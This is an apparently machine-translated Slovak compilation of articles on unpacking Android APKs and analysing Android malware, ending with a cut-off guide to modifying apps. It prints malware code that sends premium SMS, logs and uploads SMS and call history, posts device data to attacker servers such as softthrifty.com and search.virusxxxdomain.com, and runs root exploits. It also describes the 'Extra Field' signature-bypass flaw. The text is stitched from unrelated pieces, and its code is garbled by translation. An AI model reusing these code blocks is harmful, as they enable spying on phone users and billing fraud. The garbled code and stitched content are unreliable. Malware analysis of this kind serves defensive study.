Otvárame, upravujeme a balíme aplikácie pre Android. Ochrana pred vírusom

Stratili ste zdroj svojho programu a potrebujete obnoviť kód. Stiahli ste si program s vírusom a chcete vedieť, čo robí.

Programy pre Android sú distribuované v archívoch. Tieto archívy majú príponu „.apk“. Takéto súbory nie sú šifrované a sú to v podstate súbory „zip“. Môžete to overiť premenovaním súboru apk na zip.

Musíte sa ponoriť do súboru APK a získať nejaké údaje. Môžete cvičiť na mačkách. Vezmime si náš program „Hello Kitty“, nájdime jeho súbor apk v priečinku projektu app\build\outputs\apk a presuňte ho do samostatného priečinka na experimenty.

Po rozbalení archívu môžete vidieť štruktúru aplikácie a naraziť na známe súbory. A dokonca extrahovať niektoré súbory na prezeranie. Napríklad v priečinku res/drawable-hdpi-v4 našiel som svoj obrázok pinkhellokitty.png. Zdalo by sa, že je to šťastie. Ale radujte sa ďalej. Ak nie sú žiadne problémy s obrázkami, čítanie súboru XML je problém. Niektoré riadky sú pre vás viditeľné, ale vo všeobecnosti je text úplne nečitateľný. Poďme teda najprv na druhú stranu.

Pretože používateľské aplikácie systému Android bežia na počítači Java, súbory APK zdedia všetky vlastnosti súborov JAR.

Obsah archívu zvyčajne vyzerá takto:

Adresár META-INF obsahuje:

CERT.RSA - certifikát aplikácie
CERT.SF - kontrolné súčty zdrojových súborov (obrázky, zvuky atď.)
MANIFEST.MF - servisné informácie popisujúce samotný súbor apk

Analýza škodlivého softvéru

Ako príklad si vezmite program podozrivý.apk, ktorý je rôznymi antivírusmi detegovaný ako škodlivý program.

Aby ste lepšie pochopili, čo presne hľadať, musíte analyzovať súbor „AndroidManifest.xml“ – pozrite sa, aké povolenia vyžaduje analyzovaná aplikácia. Tento súbor je binárny, nie obyčajný text xml. Aby ste si ho mohli prečítať, musíte použiť konzolový nástroj „aapt“ zo súpravy Android SDK. Nachádza sa v adresári „platform-tools“. Keďže neexistuje grafické rozhranie, príkaz sa musí zadať v konzole. Napríklad pre Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Samozrejme, musíte nahradiť svoje vlastné cesty. V systéme Linux bude príkaz rovnaký so zjavnými rozdielmi (nebudú existovať žiadne písmená jednotiek a žiadne rozšírenie "exe" pre nástroj). Pre väčšie pohodlie je možné výstup presmerovať do súboru:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

V súbore musíte nájsť sekciu "Android manifest" a vyhľadať zoznam povolení. V analyzovanom súbore to vyzerá takto:

"android.permission.READ_PHONE_STATE" (nespracované: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (nespracované: "android.permission.INTERNET") "android.permission." (Nespracované: "android.permission.RECEIVE_SMS")

Z týchto informácií je zrejmé, že program môže prijímať stav telefónu (sem patrí napríklad „telefón v režime hovoru“, „telefón v režime prijímania údajov“). Toto povolenie je potrebné aj na získanie telefónneho čísla, na ktorom je program spustený, prácu so sieťou a sledovanie príchodu SMS. Na tieto aspekty by sa mala zamerať ďalšia analýza.

Aby ste získali prístup ku kódu, musíte vykonať dva kroky – previesť súbor apk na súbor jar a výsledný bajtový kód dekompilovať do podoby lepšie čitateľnej pre ľudí.

Použime prevodník "dex2jar":

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Skonvertovaný súbor bude umiestnený v rovnakom adresári ako pôvodný súbor. K jeho názvu sa pridá „.dex2jar.jar“, takže v tomto príklade to bude „suspicious.apk.dex2jar.jar“.

Tento súbor môže byť otvorený dekompilátorom. Hierarchia balíkov v okne dekompilátora vyzerá takto:


Tým sú prípravné kroky ukončené – ďalší úspech závisí len od vašej znalosti Javy a schopnosti používať vyhľadávač.

Našťastie inštancia vybraná pre tento príklad má pomerne skromnú veľkosť - konečný jar má iba 7,01 KB.

V programe je šesť tried. Vylučujeme tie, ktoré nie sú zaujímavé. Toto je trieda R, ktorá uvádza iba ID všetkých zdrojov. Je tiež možné vylúčiť z úvahy triedu config A, ktorý obsahuje konfiguráciu zostavy.

Pozrime sa bližšie na zvyšné tri triedy.

aktivácia

Táto trieda je spustená udalosťou onCreate(), teda ihneď po spustení aplikácie.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("telefón");- vytvára localTelephonyManager A, ktoré obsahuje informácie o zariadení.

str1 = localTelephonyManager.getDeviceId();- z prijatých údajov vyberie identifikačné číslo zariadenia a umiestni ho do reťazca str1

Ďalej prichádza cyklus, ktorý sa rozdeľuje DeviceId na kúsky pozostávajúce zo štyroch číslic, pričom medzi ne vložíte spojovník "-", to znamená, že z XXXXXXXXXXXXXXXX dostanete XXXX-XXXX-XXXX-XXXX. Výsledný reťazec čísel a pomlčiek sa odovzdá do textové zobrazenie s IČO 2131034112.

SmsReceiver

Táto trieda sa spustí, keď príde SMS správa, udalosť onReceive().

Úlohou tejto triedy je monitorovať prichádzajúce SMS a v prípade zistenia spustiť triedu MainService, čím mu odošlete ukazovateľ na novú prichádzajúcu správu.

MainService

Táto trieda je dosť veľká, preto ju nebudem uvádzať celú. Okamžite po zavolaní spustí podtriedu SmsBlockerThread, ktorá zablokuje upozornenie na prichádzajúcu SMS, aby používateľ nebol upozornený na novú prichádzajúcu SMS.

Potom sa prichádzajúca SMS spracuje takto:

String str1 = localSmsMessage.getOriginatingAddress();- telefónne číslo príjemcu (teda telefónne číslo, na ktorom je nainštalovaný trójsky kôň) je umiestnené v premennej str1.

String str2 = localSmsMessage.getMessageBody();- telo správy je umiestnené v premennej str2

Potom sa vytvoria spojené dvojice localBasicNameValuePair1 A localBasicNameValuePair2 v ktorých sú umiestnené hodnoty

F0=<номер телефона>b0=<текст сообщения>

Tieto páry sú uložené v poli localArrayList, do ktorého sa pár neskôr pridá localBasicNameValuePair3, čo je id=

Zároveň, ako vidíte, DeviceId sa získa nanovo a to, čo bolo prijaté v triede, sa nepoužije aktivácia. Skončí volaním metódy postRequest() z poslednej triedy ServerSession:

Skúste ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Rovnaké pole párov je odovzdané ako parameter, v ktorom je telefónne číslo, obsah SMS a ID zariadenia.

ServerSession

Táto trieda má dve metódy: initUrl(), ktorá vráti časť odkazu „(http://softthrifty.com/security.jsp)“:

Verejný statický reťazec initUrl() ( return "http://softthrifty.com/security.jsp"; )

a veľká metóda postRequest(), ktorý sa ozval z triedy MainService. Napriek veľkosti, úloha postRequest() je jednoduché - poslať na server pomocou odkazu vráteného metódou initUrl(), údaje pridaním párov z poľa zhromaždených v MainService. To znamená, že stačí nasledovať odkaz:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Výsledok

Tento trójsky kôň teda zachytí SMS a odošle požiadavku na server, v ktorej odošle číslo infikovaného telefónu, obsah SMS a identifikátor infikovaného telefónu. Toto správanie môže byť znakom toho, že bankový trójsky kôň útočí na dvojfaktorovú autentifikáciu. Pre úspešný útok musia byť splnené nasledujúce podmienky:

1) útočník musí infikovať počítač obete, aby mohol zachytiť údaje pre online bankovníctvo;
2) útočník musí infikovať telefón obete, aby zachytil SMS s potvrdzovacím kódom z banky;
3) útočník musí nejakým spôsobom prepojiť používateľa infikovaného počítača a infikovaného telefónu, aby zistil, z ktorých prihlasovacích údajov do online bankovníctva pochádza tento potvrdzovací kód;

Takáto vzorka je vzhľadom na svoju veľkosť a samozrejmosť svojich aktivít vhodná na demonštráciu základných techník analýzy malvéru pre Android.

Popis malvéru pre Android

Alexander Antipov

Správa o potenciálnom stave hrozieb spoločnosti McAfee v prvom štvrťroku tohto roka uviedla, že bolo identifikovaných 6 miliónov jedinečných vzoriek škodlivého softvéru.


Správa o potenciálnom stave hrozieb spoločnosti McAfee v prvom štvrťroku tohto roka uviedla, že bolo identifikovaných 6 miliónov jedinečných vzoriek škodlivého softvéru. V tomto zmysle sa 1. štvrťrok 2011 ukázal ako najproduktívnejší z hľadiska počtu odhalených škodlivých programov v porovnaní s rovnakými obdobiami všetkých predchádzajúcich rokov. Správa McAfee poznamenala, že zariadenia so systémom Android sa čoraz viac stávajú nosičmi malvéru. Podľa odborníkov sa Android v prvom štvrťroku tohto roka stal po Symbiane druhým najpopulárnejším mobilným cieľom pre prienik medzi zloduchmi.

V tomto článku vás prevedieme rôznymi krokmi analýzy softvéru, čím vám umožníme pochopiť, aké presne sú slabé miesta platformy Android a ako ich útočníci používajú. V prvom rade začneme diskusiou o histórii vývoja Androidu a potom prejdeme k základom fungovania konfiguračných balíkov platformy. Zároveň podrobne rozoberieme všetok malvér, s ktorým sa špeciálne pre Android stretávame.

Úvod do platformy Android

Android je operačný systém pre mobilné telefóny, komunikátory, tablety a ďalšie zariadenia založené na jadre Linuxu. Vývojári píšu aplikácie pre Android hlavne v jazyku Java, pričom umožňujú ovládanie zariadenia pomocou knižnice Java vyvinutej spoločnosťou Google. Kompilátor Java pre Android skompiluje sadu vývojárskych súborov do súborov triedy a potom sa súbory triedy skonvertujú na súbory dex. Tieto súbory majú bajtový kód, ktorý sa špecificky používa na rozpoznanie virtuálneho stroja Dalvik, čo je prostredie na spustenie bajtového kódu aplikácie Java (JVM), ktoré beží na vyhradenej aplikácii pre Android. Súbory XML sa konvertujú do binárneho formátu, ktorý je optimalizovaný na vytváranie malých súborov. Súbory .dex, binárne súbory XML a ďalšie zdroje potrebné na spustenie aplikácií sú zabalené v súbore balíka pre Android. Tieto súbory majú príponu .apk, ale sú to štandardné súbory ZIP. Po vygenerovaní balíka apk je digitálne podpísaný vývojárom a nahraný na Android Market prostredníctvom webovej stránky Google, odkiaľ si používateľ môže stiahnuť tieto apk súbory a nainštalovať ich do svojho zariadenia so systémom Android. V súčasnosti je v Android Apps Central Store k dispozícii na stiahnutie viac ako 2 milióny aplikácií a okrem toho nezabudnite, že aplikácie Google pre Android je možné stiahnuť aj z iných stránok tretích strán.

Požiadavky

  • Nástroj na dekompresiu súborov APK - Winzip
  • Nástroj na konverziu súborov .dex na súbory .jar: ..Dex2jar
  • Grafický nástroj na dekompiláciu Java: JD-GUI
  • Vzorky škodlivého softvéru pre Android na analýzu

Podrobné kroky

Krok I:
Ak chcete spustiť proces analýzy malvéru, musíte si najprv stiahnuť vzorku malvéru zacielenú na platformu Android. V tomto prípade budeme sťahovať iCalendar.apk, ktorý sa stal jednou z 11 podozrivých aplikácií odstránených z Android Marketu, pretože sa zistilo, že obsahuje malvér v Gadget Media. Kontrola požiadavky na VirusTotal ukázala mieru detekcie 46,5 %, ako je znázornené na obrázku nižšie.


Ryža. jeden

Krok II:

Rozbaľte súbor iCalendar.apk pomocou programu Winzip a potom si môžete zobraziť obsah súboru .apk

Ryža. 2. .dex a. Súbory XML diskutované vyššie v tomto článku sú znázornené na obr. 2.

Krok III:

Ďalším krokom je spustenie kódu pomocou nástroja „dex2jar“. Sada nástrojov dex2jar konvertuje spustiteľné súbory .dex Dalvik na súbory Java .class. "Classes.dex" - súbor z našej aplikácie prejde do adresára "dex2jar" a skonvertuje sa pomocou nasledujúceho príkazu: dex2jar.bat class.dex.

Ryža. 3 Vytvorte súbory „classes.dex.dex2jar.jar“ v jednom adresári.

Ryža. 4

Krok IV:

Na zobrazenie súborov .class sme použili JD-GUI. Otvorte súbor „Classes.dex.dex2jar.jar“ pomocou JD-GUI.

Ryža. 5: Zobrazený úplný zdrojový kód aplikácií pre Android.

Krok V:
Po získaní zdrojového kódu aplikácie môžete analyzovať skutočný zdroj a skontrolovať problémy. Všimli sme si, že súbor s názvom triedy „SmsReceiver.class“ vyzerá trochu zvláštne, pretože ide o kalendár aplikácie a SmsReceiver sa v tomto prípade nevyžaduje. Pri ďalšej kontrole zdrojového kódu „SmsReceiver.class“ sa zistilo, že obsahuje tri čísla 1066185829, 1066133 a 106601412004, čo vyzeralo dosť podozrivo. Situácia je podobná ako pri pokuse o zablokovanie správ odoslaných zo zadaných čísel do zariadenia Android, keď bola táto aplikácia nainštalovaná a spustená.

Ryža. 6

Po vyhľadaní týchto čísel cez Google sa zistilo, že ide o čísla SMS služby, ktorú vlastní China Mobile (obr. 7).

Ryža. 7

Pokúsili sme sa analyzovať, prečo sa aplikácia snaží blokovať správy o doručení z vyššie uvedených čísel v následných krokoch.

Krok VI:
Po ukončení analýzy súboru "SmsReceiver.class" pristúpime k rozboru kódu nasledujúceho súboru .class, t.j. "iCalendar.class". Ten prvý vyzerá najpodozrivejšie. Najmä sme si všimli, že určitá funkcia sendSms() bola prítomná vo funkcii showImg().

Ryža. 8

Spustili sme teda kontrolu súboru „sendSms ()“, aby sme videli zvláštnosti pri vykonávaní príkazov. Ako je znázornené na obrázku nižšie, vidíme, že pri aktivácii funkcie sendSms() sa na číslo 1066185829 automaticky odošle SMS s textom 921X1.

Ryža. deväť

Krok VII:
Na konci funkcie sendSms() sme si všimli prítomnosť príkazu funkcie uloženia. Hľadali sme teda funkciu save() vo vnútri kódu a našli sme jej priamy vzťah s funkciou sendSms().

Ryža. 10

Po vykonaní náležitej analýzy a zistení rôznych aspektov fungovania funkcie save() sa zistilo, že reťazec „Y“ sa prechádza pri každom spustení funkcie save(). Okrem toho sa dospelo k záveru, že funkciu sendSms() možno volať iba raz, ale nie viac, pretože pre funkciu sendSms() je nastavený cyklus "if".

Krok VIII:
Kombináciou výsledkov všetkých vykonaných analýz je možné získať jasný obraz o úplnom fungovaní rôznych typov malvéru.

Aplikácia odošle SMS na prémiové číslo 1066185829 s textom 921X1. Paralelne s tým sú blokované akékoľvek správy o doručení prichádzajúcej správy na toto číslo a v dôsledku toho obeť nedostane žiadny signál o existencii takejto SMS odoslanej aplikáciou na pozadí. Navyše, SMS je odoslaná iba raz a obeť vlastne nemôže žiadnym spôsobom tušiť, čo vlastne spôsobilo odpísanie prostriedkov z účtu.

Ryža. 11: Úplné zistenia iCalendar.apk Cyklus malvéru

záver:

Škodlivý program s koreňovým prístupom k telefónu má nielen schopnosť prečítať akékoľvek údaje, ktoré sú v ňom uložené, ale je tiež schopný preniesť ich úplne na akékoľvek miesto. Tieto informácie môžu zahŕňať kontaktné informácie, dokumenty a dokonca aj heslá účtov. S root prístupom je možné inštalovať ďalšie komponenty, ktoré nie sú viditeľné v používateľskom rozhraní telefónu, takže ich nemožno jednoducho odstrániť. Hlavné spôsoby ochrany aplikácií pred škodlivým softvérom pre platformu Android sú nasledovné:
  • Stiahnite si aplikáciu iba z dôveryhodných zdrojov;
  • Pred stiahnutím aplikácie skontrolujte príslušné hodnotenia a recenzie;
  • starostlivé posúdenie povolení konkrétnych aplikácií;
  • Inštalácia aktualizácií operačného systému Android, keď sú pripravené;
  • Inštalácia programov na ochranu mobilných aplikácií.

Dokument poskytuje príklad škôd, ktoré malvér spôsobuje nič netušiacim používateľom. Ak si človek nie je vedomý jeho existencie, potom sú takéto programy k dispozícii na vykonanie takmer akejkoľvek neoprávnenej akcie na pozadí. Prevádzka škodlivých programov môže viesť k finančným stratám používateľa odpisovaním prostriedkov z jeho zostatkov, ako aj krádežou hesiel. Okrem toho môžu spôsobiť poškodenie samotného telefónu. Ako vidíte, je veľmi dôležité včas prijať primerané opatrenia, aby ste zabránili tomu, aby sa tieto druhy aplikácií dostali do vášho telefónu. Je lepšie byť raz v bezpečí, ako to potom desaťkrát ľutovať.

Niektoré antivírusové laboratóriá už obsahujú viac ako 10 miliónov vzoriek škodlivého softvéru pre Android. Toto číslo vzrušuje predstavivosť, ale približne 9 miliónov 995 tisíc z nich sú premenované kópie pôvodných vírusov. Ak však analyzujete zdrojový kód zvyšných niekoľko tisíc vzoriek malvéru, môžete vidieť, že sú všetky skombinované z malého počtu jedinečných funkčných blokov (niekoľko upravených a kombinovaných rôznymi spôsobmi).

Ide o to, že tvorcovia vírusov najčastejšie vykonávajú veľmi triviálne úlohy:

  • poslať SMS na platené číslo;
  • získať dôverné informácie používateľa (telefónne čísla, texty správ, údaje z SD karty atď.);
  • zhromažďovať údaje o infikovanom zariadení;
  • získať správcovské práva na zariadení (na inštaláciu aplikácií bez povolenia vlastníka alebo na úmyselné deaktivovanie zariadenia);
  • sledovať prihlasovacie údaje, heslá a údaje o platobných kartách, ktoré používateľ zadáva na webových stránkach systémov internetového bankovníctva. Ako to robia? Skúsme sa dostať do ponurého sveta mobilnej virtualizácie a uvidíme, čo sa tam stane.

Odosielanie SMS

Kto používa:

  • adsms;
  • falošný hráč;
  • HipposSms.

SMS trójske kone sú najbežnejším typom vírusu. Tieto vírusy jednoducho posielajú správy na platené čísla bez súhlasu používateľa. Je veľmi jednoduché vytvoriť takýto program alebo prepísať hotový na požadované číslo. A proces získavania benefitov je mimoriadne zjednodušený – na rozdiel napríklad od sledovania bankových údajov.

Nasleduje jednoduchý príklad kódu. Toto je základná funkcia odosielania SMS. Môže to byť komplikované kontrolou stavu odosielania, výberom čísel v závislosti od polohy účastníka a následným vymazaním SMS.

Súkromné ​​statické SendSms (String DestNumber, String SmsText) ( // Pokus o spustenie metódy sendTextMessage objektu SmsManager (štandardný program na odosielanie SMS na aktuálne zariadenie) s minimálnym počtom parametrov: číslo príjemcu a text správy try( SmsManager .getDefault().sendTextMessage(CieľovéČíslo ,null,SmsText,null,null); return true; ) )

Kde hľadať kód vírusu

V drvivej väčšine prípadov sa telefón infikuje cez inštaláciu aplikácií. Akákoľvek aplikácia pre Android existuje ako súbor apk, ktorý je v skutočnosti archívom. Jeho obsah môžete zobraziť pomocou súpravy Android SDK, konvertora APK na JAR a dekompilátora bajtového kódu Java. Aplikačná zostava (APK) pozostáva z nasledujúcich častí:

  • resources.arsc - tabuľka zdrojov;
  • res (priečinok) - skutočné zdroje (ikony atď.);
  • META-INF (priečinok) - obsahuje súbory s nasledujúcim obsahom: kontrolné súčty zdrojov, certifikát aplikácie a popis zostavy APK;
  • AndroidManifest.xml – všetky druhy servisných informácií. Vrátane oprávnení (povolenia), ktoré si aplikácia pred inštaláciou vyžiada pre svoju správnu činnosť;
  • class.dex - určite ste už počuli, že v operačných systémoch Android sa všetok kód spúšťa pomocou virtuálneho stroja Dalvik (od verzie 4.4 sa objavuje podpora ART), ktorý si nerozumie s bežným bytecode Java. Preto existujú súbory s príponou dex. Spolu s potrebnými a užitočnými triedami (ktoré sú zodpovedné za funkčnosť aplikácie) obsahuje aj škodlivé (vírusový kód, ktorý analyzujeme v tomto článku).

Zápis informácií o používateľovi do textového súboru

Kto používa:

  • Nicky Spy;
  • SmsSpy.

Existuje kategória vírusov, ktoré lovia osobné údaje používateľov. Ich mechanizmus účinku je tiež jednoduchý. Buď nahrajú používateľské súbory na server svojho tvorcu, alebo vopred zhromažďujú niektoré údaje v txt (CSV, XML - na tom nezáleží). Pre útočníkov môžu byť zaujímavé kontakty akéhokoľvek typu, správy z rôznych instant messengerov, mediálne súbory atď.

SMS od infikovaných používateľov sú obzvlášť cenné kvôli telefónnym číslam odosielateľov a príjemcov - môžu doplniť databázu spamových správ. Menej často sa vírusy tohto druhu používajú na infikovanie zariadení konkrétnych jednotlivcov – keď vám vaša priateľka nabudúce ponúkne otestovanie ňou napísanej aplikácie pre Android (áno, karamba! – približne pozn. red.) Nestrácajte ostražitosť: ).

// Spočítajte počet SMS na zariadení arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Slučka cez každú SMS i=1 while (true) (​if(i>=j) break; // Vytvorenie objektu SMS správy SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Vložte do reťazcových premenných číslo odosielateľa, text a čas odoslania SMS Reťazec MessageNumber = localSmsMessage.getOriginatingAddress(); Reťazec MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Vytvorte reťazec z prijatých údajov a zapíšte ho do textového súboru pomocou vlastnej metódy WriteRec String MessageInfo= 7MessageNumber+" #"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Prechod na ďalšiu správu i+=1; ) Je tiež vhodné doplniť zoznam spamu z odberateľa históriu hovorov. Tu je kód, ktorý možno spustiť pri prichádzajúcom hovore: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Vložte číslo účastníka do premennej String phonenumber=paramIntent.getStringExtra ("android.intent. extra.PHONE_NUMBER"); // Vytvorenie reťazca z čísla a dátumu hovoru String PhoneCallRecord= telefónne číslo +"#"+getSystemTime(); // Volanie metódy WriteRec() (jej kód je tu nie je zobrazené), ktorý pridá reťazec do textového súboru s históriou hovorov WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

Po zaznamenaní sú informácie preposlané do „správnych rúk“. Nižšie uvedený kód odovzdá históriu hovorov na server:

Private void uploadPhonecallHistory() vyvolá výnimku IDException ( while(true) ( ​​​​return; // Skontrolujte, či súbor, ktorý potrebujeme, existuje, ak(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt)) pokračovať; // Vytvorenie objektu - nástroj na nahrávanie súborov UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Spustením metódy .advanceduploadfile (jej kód tu nie je zobrazený) nahrajte súbor do server tvorcu vírusov localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Zber informácií

Kto používa:

  • Droid Kung Fu
  • DroidDream;
  • drvivá väčšina škodlivého softvéru je podobná.

V zásade sú informácie o zariadeniach infikovaných jeho programami užitočné pre každého výrobcu vírusov. Získať ho je veľmi jednoduché. Vytvorí sa pole s údajmi o vlastnostiach telefónu (ich úplný zoznam nájdete v príručke pre vývojárov systému Android) a odošle sa ako požiadavka POST do skriptu PHP (jazyk nie je kritický) na server útočníka, ktorý spracuje údaje a umiestni ich do databázy na neskoršie použitie.

Private void reportState(int paramInt, string paramString) ( // Vytvorte pole a vložte doň informácie o službe ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add ( new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Ak má funkcia definovaný parameter "paramString(comment)", vložte to v poli a jeho if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Vytvorte požiadavku HTTP POST s adresou skriptu, ktorý zhromažďuje údaje HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Pridajte naše dátové pole do požiadavky a spustite ju pomocou štandardného HTTP klienta localHttpPost. setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); návrat; ))

Zakorenenie

Kto používa:

  • Droid Kung Fu
  • DroidDream;
  • RootSmart.

Jedna z najnepríjemnejších vecí, ktorá sa môže stať zariadeniu so systémom Android, je mať ho zakorenený vírusom. Koniec koncov, škodlivý program s ním môže urobiť čokoľvek: nainštalovať ďalšie vírusy, zmeniť nastavenia hardvéru. Táto akcia sa vykonáva postupným spúšťaním exploitov:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" je kópia známeho root exploitu Rage Against The Cage. Kiall - zabije všetky procesy spustené aktuálnou aplikáciou. Gjsvro - exploit na získanie práv udev ( používané v systémoch Linux na rozšírenú prácu s hardvérom a sieťovými rozhraniami) Toto všetko skopírujte na správne miesto */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro" "); //A spustite pomocou príkazového riadka Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/gjsvro"); new MyTread.start(); )

Stránky o mobilnom malvéri

Blog expertov Kasperskiy Lab Tento zdroj obsahuje kvalitné a podrobné články o mnohých aspektoch počítačovej bezpečnosti vrátane vírusov pre Android. Oplatí sa pravidelne navštevovať túto stránku, aby ste mali prehľad o najnovšom vývoji.

Skupina sa venuje open source nástroju pre všetky druhy manipulácií s kódom aplikácií pre Android (dekompilácia a úprava súborov DEX/ODEX/APK atď.). Androguard obsahuje aj rozsiahlu databázu článkov o vírusoch. Okrem krátkych prehľadov funkčnosti a metód ochrany sú tu podrobné analýzy škodlivého kódu.


Sekcia Mobilné hrozby na www.fortiguard.com Encyklopédia telefónnych vírusov. Každý článok je prehľadom funkčnosti, obohatený o značné množstvo technických detailov. Okrem informácií o hrozbách pre operačný systém Android sú tu články o vírusoch pre OS Symbian, iOS a ďalšie platformy.


Ochrana pred vírusom

Niektorí používatelia sa domnievajú, že ak si stiahnete aplikácie výhradne z Google Play a nainštalujete si antivírus do smartfónu, tak to absolútne zaručí bezpečnosť. Nerobte si ilúzie: na webe sa pravidelne objavujú správy o prítomnosti škodlivého softvéru na oficiálnom trhu. A počet novovznikajúcich škodlivých programov sa meria v státisícoch mesačne, čo im sťažuje včasné vstupovanie do databáz antivírusových programov. Skutočnú záruku bezpečnosti môže poskytnúť manuálna kontrola kódu súboru APK pred jeho inštaláciou do telefónu. Nemusíte byť guru kódovania, aby ste si všimli škodlivé úryvky. A náš článok vám s tým pomôže.

Záver

Ako vidíme na príkladoch, mobilná virtualizácia sa nelíši technologickou náročnosťou. Samozrejme, tieto príklady sú zjednodušené, aby sa zmestili do formátu protokolu – v prvom rade sú vynechané obsluhy chýb a výnimiek, ako aj niektoré technické detaily, ktorých absencia vám nezabráni pochopiť princípy malvéru Android, ale ochráni vás z zbytočných experimentov. Koniec koncov, nepodporujeme vytváranie vírusov, však? 🙂

Extra Field je chyba zabezpečenia v systéme Google Android, ktorá útočníkom umožňuje zmeniť obsah inštalačného balíka ľubovoľnej aplikácie pre tento OS bez poškodenia jej digitálneho podpisu. Pomocou tejto zraniteľnosti môžu autori vírusov distribuovať trójske kone vložením škodlivého komponentu do akejkoľvek legitímnej alebo dôveryhodnej aplikácie.

Antivírus Dr.Web pre Android nedokáže túto zraniteľnosť eliminovať, keďže je detegovaný na úrovni samotného operačného systému, s jeho pomocou však úspešne detekuje a odstraňuje škodlivé programy šírené aj vtedy, keď sa pokúšajú preniknúť a spustiť na chránenom zariadenie.

Technické detaily

Distribúcie aplikácií pre operačný systém Google Android sú distribuované ako súbory .APK, čo sú ZIP archív, ktorý obsahuje všetky komponenty potrebné na fungovanie aplikácie. Počas inštalácie programu sú extrahované z archívu a ich kontrolné súčty sú kontrolované podľa špeciálneho zoznamu. Každá aplikácia má svoj vlastný digitálny podpis.

Využitie zraniteľnosti Extra pole, útočníci môžu zmeniť štruktúru archívu APK: pridaním hodnoty jedného z pôvodných programových komponentov (najmä súboru class.dex) do jeho servisného poľa bez prvých troch bajtov, pričom súčasne umiestnia upravenú verziu tohto súbor na jeho mieste, operačný systém ho vníma ako legitímny a jeho inštalácia je povolená. Aj keď je potenciálne zneužitie tejto zraniteľnosti obmedzené veľkosťou dex súboru, ktorý by nemal byť väčší ako 65 533 bajtov, kyberzločinci, ktorí sa zaujímajú o útok, ju môžu ľahko zneužiť na základe neškodného programu alebo hry, ktorá má súčasť príslušného veľkosť.

Súbor class.dex obsahuje skompilovaný kód aplikácie v súbore APK. Hlavička APK obsahuje priestor, ktorý obsahuje názov súboru s príponou .dex, ako aj pole nazývané extra pole, ktoré obsahuje obsah samotného súboru class.dex a zoznam tried používaných aplikáciou. Ak sa pole hlavičky skráti o tri bajty, zmení sa hodnota dĺžky zodpovedajúceho poľa, čo umožňuje útočníkom zahrnúť do extra poľa pôvodný class.dex, ako aj škodlivú kópiu tohto súboru, ktorej časť umiestniť aj do extra poľa. Upravené pole môže obsahovať škodlivo vytvorené triedy, ktoré nesú škodlivé funkcie. Pri inštalácii aplikácie operačný systém načíta obsah tohto poľa, v dôsledku čoho sa na napadnuté zariadenie nainštaluje útočníkmi upravený súbor class.dex.

Niekedy niektoré aplikácie v systéme Android používateľovi z nejakého dôvodu nevyhovujú. Príkladom sú otravné reklamy. A stáva sa to tak - každý je dobrý v programe, ale iba preklad v ňom je buď krivý, alebo úplne chýba. Alebo je napríklad program skúšobný, ale nie je možné získať plnú verziu. Ako zmeniť situáciu?

Úvod

V tomto článku si povieme, ako rozobrať APK s aplikáciou, pozrieme sa na jej vnútornú štruktúru, rozoberieme a dekompilujeme bajtkód a tiež sa pokúsime urobiť niekoľko zmien v aplikáciách, ktoré nám môžu priniesť ten či onen benefit.

Aby ste to všetko zvládli svojpomocne, budete potrebovať aspoň základné znalosti jazyka Java, v ktorom sú písané aplikácie pre Android a jazyka XML, ktorý sa v Androide používa všade – od popisu samotnej aplikácie a jej prístupových práv až po ukladanie reťazcov, ktoré sa zobrazia na obrazovke. Budete tiež potrebovať schopnosť pracovať so špecializovaným softvérom konzoly.

Aký je teda balík APK, v ktorom je distribuovaný úplne všetok softvér pre Android?

Dekompilácia aplikácie

V článku sme pracovali iba s rozobratým kódom aplikácie, ak však urobíte vážnejšie zmeny vo veľkých aplikáciách, bude oveľa ťažšie porozumieť malému kódu. Našťastie môžeme dekompilovať kód dex do kódu Java, ktorý aj keď nie je originálny a nie je možné ho spätne skompilovať, je oveľa jednoduchšie prečítať a pochopiť logiku aplikácie. Na to potrebujeme dva nástroje:

  • dex2jar - prekladač Dalvik bytecode do JVM bytecode, na základe ktorého môžeme získať Java kód;
